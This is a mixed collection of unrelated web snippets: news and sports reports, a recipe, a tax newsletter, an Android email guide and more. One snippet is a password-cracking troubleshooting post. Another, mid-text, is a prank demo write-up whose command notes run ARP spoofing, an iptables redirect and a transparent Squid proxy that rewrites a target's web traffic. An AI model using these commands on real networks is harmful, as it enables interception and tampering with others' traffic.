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ATLANTA -- While the short-handed Atlanta Hawks celebrated a 96-92 victory over Los Angeles on Wednesday night at Phillips Arena, the Lakers were holding their breath.
As the game was winding down, Kobe Bryant missed a potential game-tying fadeway jumper. While the shot went off the mark, Bryant landed on top Dahntay Jones' foot and suffered a severely sprained ankle.
After the game, X-rays were taken and came back negative. The Lakers will have to continue their playoff push without Bryant, who will be out indefinitely.
With both teams fighting for playoff position and both playing for the second consecutive night -- Wednesday's game was a tough, physical game.
With Josh Smith on the bench with a sprained left knee and starting point guard Jeff Teague out with a sprained left ankle, Al Horford muscled his way on both ends of the court to set the tone for the Hawks. He scored 14 points and grabbed 14 rebounds, the final one with 33 seconds left in the game.
"This was an important game," Horford said. "And I wanted to make sure we set the tone early in the game. Everyone in this locker room that was playing contributed today. You can't ask for anything more than that."
Devin Harris, starting at point guard for Teague, had only eight points through three quarters, but scored nine straight midway through the fourth quarter to finish with 17 points.
"We knew that we would be short-handed without Jeff and Josh Smith," Hawks coach Larry Drew said. "I just told the guys I wanted them to go out and, number one, have fun. I want to see the joy on their faces again."
Bryant went scoreless in the first quarter and had only three first-half points.
In the third period, he exploded for 20 points. But he couldn't sustain the surge and finished with 31 points.
Metta World Peace scored 20 points and had eight rebounds for the Lakers (34-32). Steve Nash added 11 points and Dwight Howard, who picked up his fourth foul midway through the third quarter, had 16 rebounds to go with 10 points.
"We just didn't make any shots," Nash said. "I feel like I killed us tonight. I had good looks at the basket; I didn't convert. I'm definitely disappointed. We didn't have our A-game but we had a chance to win.
"To be honest, I don't think we had a real bounce in our step."
The Hawks came into the game having lost three straight and six of last seven. The Lakers had won four straight.
Both teams played Tuesday night and traveled, which translated into early air balls on both sides. But once Horford and Howard jammed huge dunks within 18 seconds of each other at 8: 28 (Howard) and 8:10 (Horford), the teams settled down.
The Hawks (35-29) led by as many as 14 points and were up 55-43 after the first half. The Hawks bench made an immediate impact when they started filtering in.
"We lost because we gave up 55 in the first half," Lakers coach Mike D'Antoni said. "You can't do that. We were playing with fire. We've done it about four times, come back and win. ... We need to come out and play harder defensively, like we did the second half."
Ivan Johnson had 12 points and eight rebounds. Kyle Korver scored 15 points and John Jenkins added 12. Johan Petro had 10 points and 11 rebounds, his first double-double in three years.
NOTES: Drew wasn't expecting to have Zaza Pachulia back -- Pachulia is getting a second opinion on his sore right Achilles -- but he didn't think he'd be dealing with injuries to two other starters. Teague tried moving on the left ankle he sprained in Tuesday's 98-81 loss to the Heat in Miami but couldn't do it well enough to go. Josh Smith sprained his left knee in that game and did not play. ... Drew says that given the state of his players' health and the schedule, he's going to have to take more care not to run guys into the ground at practice and give them more time off. ... D'Antoni wasn't going for the idea that the Hawks' latest injuries made his team's task easier. "It doesn't change anything," he said. "It's all about we need to do what we do." ... Asked what he thought of the strategy of putting Howard on the free-throw line an NBA record-tying 39 times in Tuesday night's 106-97 win over the Magic in Orlando, D'Antoni said, "We're in the entertainment business. That's not entertaining." Then he added, chuckling, "I've tried it. I'm kind of like if I can't beat you ... I understand why they do it."


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We've had a lot of questions recently about setting up e-mail on an Android tablet. Not a surprise since Android by Google, is now the number one portable electronics operating system. At WorldStart, we always keep our readers updated on the latest and most popular tech, so we'll be doing a multi-week series on how to use Android. If you don't own an Android device yet, it's still worth reading. Google gives away the source code to Android. That means it's showing up on more devices every day.
Part 3: Androids E-Mail Setup
To begin, open your Apps menu and click on Email. You will be prompted to type in your e-mail address in the Email address field and your password in the Password field. When you're finished, press next. If your e-mail providers server settings are already known, your server settings will automatically be configured.
If the provider is not known, you'll be prompted to select what type of account you have, POP3, IMAP or Exchange. Consult your e-mail provider for e-mail client set-up instructions. Tap on the server type from the list.
Now, you'll need to fill out your Incoming server settings. Type the required information in each field, using your e-mail provider's instruction sheet. You'll need the incoming server address, your username (often this is your e-mail address) and port numbers. You may also have to fill in a security field. Tap next when done filling out the information.
Next, we tackle the outgoing mail server information. Again, you'll type in the information for each field from your e-mail provider's instruction sheet. You'll need the outgoing server address, your username (often this is your e-mail address), the port numbers and the security requirements and type. Tap next when done filling out the information.
The Account options screen will now appear. Select how often you want to check mail from this box (the shorter the time, the more battery life the tablet will use checking e-mails. 30 minutes is a good compromise, if you can wait.) If you'd like this to be your default e-mail account, tap send e-mail from this account by default. Tap Next to continue.
Finally, type in a name for this e-mail account that you can easily identify it in the account name field. Tap on the Your name field to type in the name people will see when you send messages. Tap next to continue.
Your e-mail setup is now complete and your e-mail should automatically download. You can view an e-mail by tapping on it. You can create a new message by pressing the new Envelope+ icon. You can manually check e-mail at any time by pressing the Refresh button in the upper right-hand corner. You can add multiple accounts by tapping Settings in the upper right hand corner and tapping Add Account.


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What WSJ Canada Is Reading Wednesday
By Karen Johnson
The Canadian subsidiary of Chinese energy giant Cnooc has been awarded exclusive rights to proceed with a proposed terminal to export liquefied natural gas from Canada's Pacific coast.
AirWatch, one of BlackBerry's smaller competitors, is using the company's uncertainty to its advantage, expressing interest in buying some of its assets.
Murray-Goulburn Co-operative, Australia's biggest dairy producer, raised its offer for Warrnambool Cheese & Butter Factory, trumping a competing bid from Canada's Saputo Inc.
Toronto Mayor Rob Ford is expected to be in the hot seat at City Hall today. And 72% of Torontonians say Mr. Ford's insistence on remaining in office after admitting to smoking crack cocaine is "not acceptable," says a new poll.
Who are the real heroes of the global economy?
Nobody knows how these birds got to London from their Latin American homeland, or how they survive in a climate more suited to hot drinks and rubber boots than to tropical wildlife.
Canadian companies are borrowing more than ever, breaking records for selling new debt in a push to lock in low interest rates before borrowing costs rise.


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About STEP:
Barnard College in unison with the New York State Department of Education has made a commitment to service the youth of the community in grades 7th – 12th . This partnership of providing quality instruction, career and academic counseling, tutoring and educational workshops is provided during the fall, spring and summer sessions.
Students participating in the program are highly motivated to learn more about math and science and they come from many different high schools in New York City.
The Science and Technology Entry Program (STEP) is funded by a grant from the New York State Education Department, Office of K-16 Initiatives and Access Programs and the generosity of Barnard College.


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How a Man Can Cook Healthier Now
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"This drink was created for Rogue 24, a new restaurant in Washington, D.C., by James Beard Award-winning chef R.J. Cooper. We had tons of peach scraps left over and Bryan Tetorakis, the head bartender there, made a peach syrup. We paired that against the bitterness of Gran Classico and found a great aperitif cocktail: sweet, sour, bitter, and low-alcohol. It's a perfect pre-dinner drink, especially for an end-of-summer feast. It reminds me of a fluffier, more accessible Negroni."
• 1 oz Gran Classico Bitter
• 1 oz lemon juice
• 1 oz peach syrup
• 1 small egg white
• Dash Peychaud's Bitters
Combine ingredients, except for Peychaud's Bitters, with ice and shake vigorously. Strain into a chilled cocktail coupe. Top with Peychaud's Bitters.
"It's basically a watermelon tequila press. It's refreshing as all hell, but boozy nevertheless."
• 4 muddled sprigs of thyme in a pint glass
• 2 oz Espolon blanco tequila (or any blanco of your choosing)
• 2 oz watermelon puree (blend watermelon to a pulp or muddle then strain the liquid)
• 1/2 oz agave nectar
Stir ingredients and then strain over ice. Top off with seltzer, then serve in a highball glass with chili salt on the rim and a lime wheel and thyme sprig as garnish.
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Today I discovered an annoying problem with the way John the Ripper handled a dictionary attack agains unix md5 password hashes when using a dictionary with passwords longer than 15 characters. It appears that JTR has some sort of internal limit for freebsd md5 passwords that are longer than 15 characters. No mangle rules were applied and I spent far too long looking through the john.conf file and cannot find any reason this happens. Suggestions welcome if this isn't a bug. I'm using backtrack 4R1.
Password for account "test" is set to "abcdefghijklmnopqrstuvwxyz".
root@bt:~# cat test.pw
root@bt:~# cat wordlist
root@bt:~# cd /pentest/passwords/jtr
root@bt:/pentest/passwords/jtr# ./john --wordlist=/root/wordlist /root/test.pw
Loaded 1 password hash (FreeBSD MD5 [32/32])
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Logan • As Kyisean Reed sank a jumper, the crowd of 8,415 at the Dee Glen Smith Spectrum erupted, screaming at ear-piercing levels.
It was only a 59-53 lead for the Utah State basketball team. But in this matchup, six points felt like more than enough.
It was a lead that Utah State (3-1) would not surrender. The Aggies went on to top in-state foe Weber State (1-2) in a 65-55 battle on Saturday that was won mostly on the free-throw line, giving Utah State some redemption for a loss last season in Ogden.
"That's the kind of games we generally have with Weber: Kind of knock-down, drag-out, tough to score," coach Stew Morrill said. "We're just glad we hung in there and found a way to grind one out."
Facing former USU assistant Randy Rahe, the Aggies were locked in a see-saw affair with the Wildcats. The game had 24 lead changes, and for a stretch of nearly 23 minutes, neither team had a lead greater than two points.
But foul-prone Weber sent the Aggies to the line for 27 attempts in the second half, and they made 20 of them. Preston Medlin and Ben Clifford in particular held strong from the line, going a combined 15-for-20 to help pull away at the finish.
Medlin finished with 17 points, nine rebounds and four assists in what might have been his best stat-stuffing game of the season, and Clifford gave 11 points off the bench.
Weber State couldn't keep pace, shooting only 55.2 percent from the stripe.
"They were a very physical team, which is something we knew coming into the game," Medlin said. "It was good for us to attack them, and we got to the line a lot."
The Utah State backcourt also shined by denying Weber State at the perimeter. The Wildcats had cruised to a win last year on the strength of their outside shooters, particularly Scott Bamforth, who had seven 3-pointers.
This season, they couldn't get in the same rhythm as they only made three long-range attempts. Bamforth was barely a factor in the contest, scoring four points.
It wasn't easy to score inside on Utah State, either. The Aggies once again dominated the boards for a 13-rebound margin over Weber State. Jarred Shaw led the inside effort with 16 points and 12 rebounds for his second double-double as an Aggie.
"That's our best stat right now," Morrill said of the edge on the boards. "Offensively we've been inconsistent, defensively we've been inconsistent, but rebounding-wise we've been good. If we can keep that up, that will keep you in a lot of games."
Utah State shot only 45.7 percent from the field, but the Wildcats were worse, especially in the second half. Weber State managed only six field goals after the intermission, and Davion Berry was the only player in double digits, with 11 points.
Rahe said he was happy with the game plan, but not with the fouling.
"I wouldn't say they came and blew us out," he said. "We put them on the free-throw line is what happened. They made free throws, and we didn't."
With the victory, Utah State has now won 27 straight home games against in-state opponents.
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WATCH: Diddy Wants President Obama To Intervene In Ferguson Protests
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Diddy is demanding that President Obama intervene in the unrest in Ferguson, Missouri. As he watched news coverage of the tense situation in Ferguson Monday night, Diddy posted a video on Instagram calling on the president to take action.
The Bad Boy Records founder also urged followers who agreed with him to create their own videos to send to the White House.
Diddy is just the latest artist to weigh in on the unrest following the fatal police shooting of unarmed teenager Michael Brown. St. Louis-based emcee Nelly joined protesters in Ferguson Monday night, while rapper J. Cole arrived in the town over the weekend. Cole also paid tribute to Michael Brown on his song "Be Free."
On Monday, President Obama promised to send U.S. Attorney General Eric Holder to Ferguson to assess the situation there. The Justice Department is also launching an investigation into the case.
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Tax Facts Index
East Baton Rouge Parish
Department of Finance
Vol. 14, No. 4
October 2003
New Laws Affect Sales and Use Tax
The Louisiana Legislature enacted several measures affecting
local sales and use taxes during its 2003 Regular Session. The measures include:
Act 73 (SB 551) enacts the Uniform Local Sales Tax Code. The Uniform Local Sales
Tax Code will supplement all local sales and use tax ordinances throughout the
state, and will allow businesses and tax practitioners to easily understand
Louisiana's state and local sales tax laws. Act 73 also includes a Uniform
Return and Remittance System that must be implemented by January 1, 2005. This
system will be an online service available from the Louisiana Department of
Revenue which will allow a company, at no cost, to file both their state and
local sales and use tax returns in a single filing via the internet. Also
included in the Act is a uniform procedure for administration of local sales
taxes, which is the same as the state's procedures.
Act 46 (HB 1750) provides for the taxable nature of cellular and PCS telephones,
or other wireless PC devices, or electronic accessories physically connected
with such telephones used in connection with the sale or use of mobile
telecommunications services.
Act 61 (SB 791) provides that tangible personal property shall not include other
constructions permanently attached to the ground for local tax purposes.
Act 141 (HB 1621) provides for direct payment numbers for private, non-profit,
tax-exempt organizations. It also extends until June 30, 2005, the sales tax
exclusion on educational materials purchased.
Electronic Filing is Here!!
The City-Parish Revenue Division is accepting applications from
taxpayers who wish to file their monthly sales tax returns electronically.
Monthly filers will now have the option of filing and paying online. Returns for
"No Sales" may also be filed either online or by phone at (225) 344-4636,
extension 5000. For more information please visit our web site at www.brgov.com
and click on "Sales Tax Payments."
Are You Using the Proper Tax Form?
In the July 2003 issue of Tax Facts you were advised that
changes had been made to our "Sales and Use Tax Report" form. This follow-up is
to remind all taxpayers to use the new six-column form effective with the July
2003 reporting period. Any four-column tax forms currently in your possession
should be disposed of to ensure that the proper form is prepared and submitted.
You are also reminded that the use of any unofficial forms, such as the old
four-column form or forms that have not been approved by this office, could
result in delays in processing your return. Questions regarding the proper use
of tax forms should be directed to the Revenue Division.
Resale Exemption Certificates
Rule 12 (A) of the East Baton Rouge Parish Sales and Use Tax
Regulations states, "The Finance Director will consider all sales to be taxable
retail sales unless the seller takes from the buyer a resale exemption
certificate, signed by and bearing the name, address, and registration number of
the buyer to the effect that the property is purchased for resale." If the buyer
is located in East Baton Rouge Parish, dealers may recognize that the articles
are purchased for resale only when the buyer is properly registered under the
provisions of the local ordinances. If the buyer is located out of Parish,
dealers may recognize that the articles are purchased for resale only when they
are allowed under the provisions of state law.
The most important item on the resale exemption certificate is
the purchaser's sales/use tax registration number. Only local retail dealers
that are properly registered with the Revenue Division have received an East
Baton Rouge Parish sales tax registration number. Out-of-parish retail dealers
must provide their state and local sales tax numbers. The seller must collect
sales tax when the buyer cannot provide a properly executed certificate.
Dealers must use some judgment when accepting resale exemption
certificates. The fact that a retail dealer is properly registered in accordance
with the law does not mean that all of his purchases are for the purpose of
resale. For example, a retail dealer of auto parts and accessories would not be
buying a diamond ring for resale. Another example involves construction
contractors who purchase building materials for a real property construction
contract. Contractors are not retail dealers and are considered the final
consumer of the materials purchased. Clearly, these transactions are not for
resale and therefore, are not exempt. The burden of proving that a sale is, in
fact, for resale shall be on the seller. The seller must carefully review each
purchase and should consider the nature of the purchaser's business before
accepting a resale exemption certificate.
Dealers shall keep all resale certificates furnished to them by
retail dealers. Any changes in business status, such as trade name, location or
registration number should result in an updated resale exemption certificate
executed by the purchaser. These certificates are required if the dealer is
audited by the Finance Department.
In summary, resale exemption certificates are a very important
part of a retail dealer's business. Purchases for resale must be made in strict
compliance with the rules and regulations. Any dealer who fails to obtain a
certificate will be liable for the tax. Resale exemption forms may be obtained
from the Revenue Division or from the Finance Department's web site by clicking
on the "Tax Forms" link.
Sales Tax
Due Dates
Following are the sales tax due dates for the fourth quarter
of 2003:
Need help?
Taxpayers may contact the
Revenue Division by phone or fax to receive assistance between the hours of
8 a.m. and 5 p.m., Monday-Friday.
Taxpayer Assistance (225)
Fax Number
(225) 389-5369
Taxpayer Topics
The Tax Facts
Newsletter is issued quarterly by the Finance Department/Revenue
Division. Our mission is to provide taxpayers with information
concerning developments and policies regarding the collection of local sales
and use tax within East Baton Rouge Parish. The Revenue Division
invites any suggestions, questions or comments that you would like addressed
in future issues of Tax Facts. Please send these items to:
City of Baton Rouge -
Department of Finance
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Baton Rouge, LA 70821-2590
Attention: Steve Thomas,
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early! Returns bearing a U.S. postmark on or after the above delinquent
dates will be assessed penalty, interest, and loss of vendor's compensation.
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ATLANTA -- The Coca-Cola Co. has launched an ad campaign to defend the safety of the artificial sweeteners used in its diet drinks. The print ad says diet drinks can help people manage their weight and stresses the scientific evidence showing the safety of aspartame. It claims that the safety of aspartame is supported by more than 200 studies over the last 40 years.
The Food and Drug Administration, the American Cancer Society and the American Heart Association have said aspartame is safe in food when used in moderation, but some health groups still disagree.
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Hawking: 'I May Not Be Welcome' in US Under Trump
Stephen Hawking is afraid he might be persona non grata in America, reports the Guardian, due to the Trump administration's views on the environment and British cosmologist's past criticism of those views.
In a conversation Monday with ITV's Good Morning Britain, Hawking said the US has swung "to a right-wing, more authoritarian approach," including the new government's January freeze on EPA hiring and information dissemination—which Hawking roundly denounced, per CNBC.
"I would like to visit again and to talk to other scientists, but I fear that I may not be welcome," he says. He adds President Trump should dump EPA chief Scott Pruitt, noted for his skepticism toward climate change, which Hawking calls "one of the great dangers" the world is dealing with.


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They don't fire missiles or drop bombs, but the RCMP in P.E.I. have added an unmanned aerial vehicle to the tools they use to do their jobs.
Greg McCormick, a communications operator in Charlottetown, flies the remote controlled helicopter that he says isn't a drone and doesn't have the same capabilities as those in the military's arsenal.
"The only thing these things share, they're best described as distant cousins," he said.
The RCMP's unmanned aerial vehicle (UAV) is a six-bladed helicopter about the size of a large pizza with a mount for a camera that feeds back to a display on the ground so its operator can see what the camera sees.
McCormick described it as an overgrown hobbyist remote control airplane, although its purpose as an RMCP tool changes it from a model to a remotely piloted vehicle in Nav Canada's eyes.
"It's actually a lot of fun," he said.
With an $18,000 price tag, it's also more expensive than a typical remote controlled helicopter, although McCormick said L Division got its unit as a gift from the RCMP in Saskatchewan where they had it as surplus.
Although the unit itself is expensive, parts for it are available at a local hobby shop and McCormick said the RCMP budgets a few hundred dollars annually for repairs.
Unlike regular hobbyists, the RCMP has to check with Nav Canada first before any flights because the helicopter is used by a law enforcement agency.
The RCMP has been using it primarily to help traffic reconstructionists at collision sites to take pictures from overhead instead of bringing in a helicopter from Moncton, which costs about $1,000 per hour, requires a photographer and takes time to get to the scene.
McCormick can get the UAV up in the air in a matter of minutes once he drives to a scene and it only costs about $42 per flight, although he said it's not meant to completely replace the full-size RCMP helicopter.
"It's just another tool in our arsenal of things that we have at our disposal," he said.
When it came time to learn to fly the UAV, McCormick started on a smaller helicopter bought at a hobby shop before he went to Swift Current, Sask. in April for two days of training. Since then he's used it on the job about six times, but its use is largely dependent on weather conditions.
"High winds, which we tend to have a lot of on the Island, don't always play very well with the ability to take a photograph so sometimes we may want to use it but the weather conditions don't permit," he said.
When he can use it, McCormick said it has a range of about a quarter of a mile and Nav Canada caps its altitude at 500 feet, although he likes to keep it lower and doesn't take it above 300 feet.
He also said it's not a surveillance device.
"The thing sounds like an angry hornet's nest of bees," he said.
As for how many times he's crashed the helicopter, McCormick said he's had a couple of incidents with trees and it can be tricky to fly at times because the unit ends up several hundred feet away, which makes it harder to tell which direction it's facing.
"The concept behind flying these isn't so much of whether or not you crash it, but when you crash it," he said.
Greg McCormick, a communications operator in Charlottetown, shows off a new tool in the Prince Edward Island RCMP's tool chest, an unmanned aerial vehicle or UAV. The UAV is a six-bladed helicopter about the size of a large pizza with a mount for a camera.
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EVERETT — Jake Pittsenbarger scored two goals and Jorge Heredia added two assists as Cascade earned its first win of the season by defeating Monroe in a Wesco 4A match. Tanner Corrie scored the lone goal for the Bearcats in the loss.
At Cascade H.S.
Goals—Jake Pittsenbarger (C) 2, Oscar Rozanski (C), Tanner Corrie (M). Assists—Jorge Heredia (C) 2, Spencer Johnson (C). Goalkeepers—Monroe: Jesse Avelar. Cascade: Joey Birnbaum. Records—Monroe 1-6-2 league, 1-7-3 overall. Cascade 1-6-2, 1-7-2.


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… However the attacker wishes to change scripts. So after stopping the attack (and correctly re-posing the ARP tables), the attacker edits Squid's configuration file once more and modifies it to reflect the new script. After restarting the daemon once more, to load the new configuration, the attacker attacks once more with ARP cache poisoning. This process is done, until they have had enough.
… But this isn't enough for the attacker. The attacker decides to install a "Web filter". As the attacker has permission from the target to execute these attacks, the attacker has checked (and double checked) that the target is "of age" and is in an environment where "adult material" is "accepted", they "reserve the logic" of DansGuardian. This means, what was "filtered" is now allowed; therefore what was allowed is now blocked.
Notes:Code:start-network dhclient eth0 apt-cache search squid apt-get -y install squid3 update-rc.d -f squid3 remove kate -> Open: /etc/squid3/squid.conf Edit (Line 588): acl localnet src 192.168.0.0/16 Edit (Line 644): http_access allow localnet Edit (Line 868): http_port 3128 transparent Add (Line: *end*): url_rewrite_program /root/asciiImages.pl Save kate -> Open: /root/asciiImages.pl apt-get -y install imagemagick ghostscript jp2a chmod 755 *pl ls -l *pl mkdir /var/www/tmp cp -r www/* /var/www/tmp chown nobody:nogroup /var/www/tmp chmod 777 /var/www/tmp /etc/init.d/apache2 restart /etc/init.d/squid3 restart clear iptables -t nat -A PREROUTING -i eth0 -p tcp --destination-port 80 -j REDIRECT --to-port 3128 echo 1 > /proc/sys/net/ipv4/ip_forward #cat /proc/sys/net/ipv4/ip_forward nmap 192.168.0.0/24 -n -sn -sP #Start -> run -> cmd -> arp -a arpspoof -i eth0 -t 192.168.0.118 192.168.0.1 #Start -> run -> cmd -> arp -a IE -> http://www.msn.com ###################################################################################### #Kill arpspoof kate -> Open: /etc/squid3/squid.conf Replace (Line: *end*): url_rewrite_program /root/blurImages.pl Save /etc/init.d/squid3 restart && arpspoof -i eth0 -t 192.168.0.118 192.168.0.1 IE -> http://www.flickr.com ###################################################################################### bash allPornInternet.sh /etc/init.d/squid3 restart && arpspoof -i eth0 -t 192.168.0.118 192.168.0.1 ######################################################################################
* Credit & thanks to Pete Stevens (http://www.ex-parrot.com/pete/) for inspiration with "Upside-down-ternet".
* Credit & thanks to Charlie Vedaa & an "anonymous speaker" (prank-o-matic.com) as a lot of the scripts originated from them & their presentation at Defcon 17.
* You may have to edit the script, to change the default variables. For example, the default IP for the attackers IP is 192.168.0.33.
* I didn't see a need to keep switching from the attacker/target on every script change, but you can see how it was done via "blurImage.pl".
* Instead of doing a "rehearsal", I went straight in with recording it (to try and save sometime), which resulted in a few things needed "tweaking", hence the jumpiness of the video in places – I did my best to patch it together. This is the reason why a few images were loaded from cache, Internet history/Back-forward arrows were sometimes "wrong".
* I like to keep my videos as short as possible (so they are "straight to the point"). However, this time around, I tried editing them in-time - to the (first) song at least!.
* The Virtual Machine I used to record the video in wasn't that powerful hence it took "a while to process" on the target side.
* "Convert" which is used to manipulate images in a few scripts has been found to keep running after squid/script has been stopped, as a result using up processing power. If this happens: "killall convert" should kill it.
* Depending on how intently you watched the video, you might have seen a bash script to automate all of this… This will be released at a later date.
* This was my first time releasing something I've coded using perl. I'm sure it could be done "better" – but as the originals were done in PERL – I stuck with it.
* [1] This post is the first one I was referring to. =)
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Concerned about the well being of humankind as a result of the disastrous impact of climate change,our Association members from different countries in Africa organized and hosted the』Be Organic Vegan to Save the Planet』live videoconference in the largest city and capital of Togo,the city of Lomé,on May 9,2009. Supreme Master Ching Hai graciously accepted the invitation to be the Guest of Honor and shared her insights on the issue.
Approximately 2000 participants from all walks of life attended the conference,including important personages such as Mr. Ahoomey-Zunu Seleagodji,Secretary to the Presidency; Mr. Leandre Gebenyedji,representative of the mayor of Lomé; Mr. Kwab vegan naturopath; and Togo's famous singer,Vanessa Worou. The』Be Organic Vegan to Save the Planet』was broadcast live on Nana FM,Nostalgie,Sport FM in Togo,HotFM in Ghana,and Tokpa FM in Benin.
We now invite you to join us for the rebroadcast of the live videoconference with Supreme Master Ching Hai entitled,『Be Organic Vegan to Save the Planet,』held on May 9,2009 in the city of Lomé,Togo.
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(NEWSER) – The Environmental Protection Agency has a pretty basic tip for EPA employees who want to protect the environment they work in: Stop pooping in the hallway. The agency's Denver branch found it necessary to tell workers to cease "inappropriate bathroom behavior," citing incidents including toilets clogged with paper towels and "an individual placing feces in the hallway," according to an email obtained by GovernmentExecutive.com. "Management is taking this situation very seriously and will take whatever actions are necessary to identify and prosecute these individuals," a regional administrator wrote.
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Recall paperwork submitted to the county Auditor's Office Wednesday accuses Lovick of failing to investigate alleged harassment of Anne Block, a Gold Bar attorney and blogger. Block maintains that county employees have been targeting her.
The County Council voted 5-0 on Monday to authorize county lawyers to defend the sheriff, ruling that the recall allegations involve official work duties.
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IndyCars don't race in the wet, so the Milwaukee Indyfest faced a 90 minute delay as scattered showers left the crews huddling in the pits. But, at 2:02pm and in muggy 83 degree conditions, the racing finally got underway. With the rain washing off the track rubber from earlier, all the Indy Cars were looking at a green track that would be eating up the tyres much quicker than expected. After 60 laps, Simona De Silvestro (#78 – Lotus HVM Racing) had moved up one position, and while trying to manage the tyres, she was heard repeating many times over the radio: "The car is loose!"
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American Statesmanship Is Depressingly MIA on Border Kids, MH17 & Gaza
It's been the most depressing two weeks of the Obama presidency. The child border crisis, the new Gaza war, the Russian separatists shooting down that plane—these aren't just infuriating political squabbles of the sort we follow every week but profound political crises with enormous human tolls. Any of the three on its own would have been dreadful enough. All three of them in succession, the incomprehensible suffering and death of innocent victims of calculation and avarice, are almost more tragic than the mind can bear.
The tragedy in each case is deepened by American impotence. It's not that we couldn't prevent these things that's upsetting. The border crisis, despite what they say on the black-helicopter right, was not fomented by President Obama in an attempt to force Congress to act on immigration. It's a function ofnightmarish conditions in Central America from which destitute, desperate people are fleeing, and of a network of completely immoral hustlers at the border who exploit them. Israel makes an incursion into Gaza every few years, and we always have little choice but to let it play out. And Russian separatists, with a nudge from Vladimir Putin, are going to do what they're going to do.
What's maddening and emotionally exhausting is that we can't seem to do anything about them. You can blame all this on Obama if you want to. He deserves some blame. He was slow to respond to the border crisis, and for a host of reasons, Putin and Bibi Netanyahu pretty clearly don't even listen to him (wouldn't matter in Bibi's case if he did, since the U.S. position is largely defensive of Israel's actions). Maybe different leadership in the White House would make some kind of huge difference.
I suspect not a lot, though. We don't live in a country that can speak with one voice at a time of crisis. I don't want to get carried away saying that there was a golden age of unity in American global crisis management. There never was any such thing. Politics never stopped entirely at the water's edge, and in many cases that was a damn good thing. I for one am quite glad that there were ferocious critics of U.S. Vietnam policy, and I wish the Democrats had been considerably less craven when Bush and Cheney were leading us into Iraq atop that landfill of lies and false promises. So I do no Broderesque pining for a golden era that didn't exist.
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Most pregnancies last 37 - 42 weeks, but some take longer. If your pregnancy lasts more than 42 weeks, it is called post-term (past due). This happens in a small number of pregnancies.
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Two Hip-Hop Pioneers, Still True to Form
For LL Cool J, popularity was its own reward: the rapper became a hitmaker became an actor became an all-around celebrity; hip-hop was a ticket into the mainstream.October 11, 2004 artsNews
LL Cool J Tries to Find A Way Back
LL Cool J, whose first single came out in 1984, has repeatedly beaten the odds, but he spent much of the 1990's working as a television and movie actor; Wednesday's show was his first New York concert in five years.October 14, 2002 artsReview
Rhymers Taking Hip-Hop To Children's Bookshelves
There was a time when some popular hip-hop artists rhymed about settling scores with a Glock. But now that the music has gone mainstream, LL Cool J, the man behind the 1990 hit single ''Mama Said Knock You Out,'' and Doug E. Fresh, otherwise known as the human beat box, are hard at work at a different kind of rhyming. They are writing children's books.August 26, 2002 businessNews
LL Cool J; The Outtasight Rapper
Born James Todd Smith in Queens, LL Cool J once boasted in song about having gone ''from Hollis to Hollywood.'' On Tuesday night, he slipped unannounced into the Loews 84th Street theater to watch his latest film, ''In Too Deep,'' with what he called a ''real crowd,'' not the movie industry insiders of Los Angeles.August 29, 1999 moviesBiography
On Spike TV, Celebrities Clash Where Everyone Can Watch Their Lips Move
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US commission denounces France's Roma evictions
An independent US commission of elected officials that monitors human rights in Europe denounced Wednesday the controversial forced deportations of Roma from France to Romania and Bulgaria.
"The situation of Roma in Europe will not be fixed by playing a shell game with them," said Florida Democratic representative Alcee Hastings, co-chairman of from the Commission on Security and Cooperation in Europe, also known as the Helsinki Commission.
"I perceive such actions as wrong-headed political maneuvers, particularly the discriminatory policy of targeting Roma for expulsion," Hastings added, saying that France and other countries "should focus on integrating Roma where they are."
French President Nicolas Sarkozy and his administration have been under fire for weeks, and now face possible legal action from the European Union for a policy of deporting members of the traveling communities.
The French government has in recent months expelled thousands of Roma, whom the government accuses of acts of criminality, including aggressive begging and theft.
"Minority communities are part of a larger fabric of society and we are all put at risk when those who seek to divide for political gain are allowed to take the lead," Hastings said in commission statement to Congress, at a hearing on the situation facing minorities in France.
French Ambassador Pierre Vimont insisted to US lawmakers however that there was "nothing like a collective action against this so called community," referring to the Roma.
The French government, he said, was "taking measures against individual citizens that are creating a problem relating mostly to public order."
France has charged that one in five thefts in the Paris area was carried out by a citizen of Romania, noting that many Romanians in Paris are from the Roma minority.
France has deported some 1,000 Roma migrants to Bulgaria and Romania since last month, and more than 8,000 Roma have been deported since the beginning of the year, after 9,875 were expelled in 2009.
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The French do have a right to clamp down on criminality. But expelling the Roma just means they're going to return to France later. There needs to be a serious effort to integrate the Roma into wider European society, whether that is in France, Romania, Bulgaria or wherever.
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The Allen Brothers, Lee and Austin, were among the first of the fraternal duets that became popular in the '20s and '30s. They were known for their fast-paced, upbeat blues and old-time music-influenced songs. Offering sometimes-bawdy good-time music, droll humor, and Lee Allen's delightful kazoo leads, they created a unique blues-derived sound independent from that of country music's star bluesman of the day, Jimmie Rodgers. Between 1926-1934 the "Chattanooga Boys" recorded 89 songs and notched several hits.
The brothers were born five years apart (Austin was the oldest) around the turn of the century on Monteagle Mountain, 50 miles north of Chattanooga, to a sawyer and a trained violinist. In childhood they were influenced by a combination of contemporary and traditional music. The brothers hit the local music circuit around 1923, becoming particularly popular in isolated coal-mining camps. While traveling, the Allens began collecting all sorts of local, traditional tunes. Soon they began writing their own songs, many of which contain references to their mountain home and the Chattanooga area, and they absorbed the blues, often of the sort containing sexual double meanings, perhaps more thoroughly than any subsequent brother duet. The Allens made their recording debut on the Columbia label in 1926. Their first single was a version of "Salty Dog Blues" titled "Bow Wow Blues." It became quite popular, but when the label released their "Laughin' and Cryin' Blues" in its 14,000-numbered "Race" series instead of the 15,000 "Old-Time" series, the brothers were offended and threatened to sue the company if the records remained on the shelves. The mistake was probably an honest one on Columbia's part; some Allen Brothers recordings sound very close to those by Southeastern African-American performers of the day, especially to those by small hokum ensembles. Nevertheless, the Allens moved to Victor and met Ralph Peer, who was reaping the fruits of his discovery of Jimmie Rodgers and was keen to mine the white blues vein further. In concerts the Allens sang a combination of up-tempo and slower tunes, and became frustrated when Peer insisted that they record only the former. Still, they remained with Victor until 1933, recording such hits as "Skippin' and Flyin'" (1928) and "Jake Walk Blues" (1930), the latter a commentary on the Jamaican ginger ("jake") food-poisoning episode that made headlines that year.
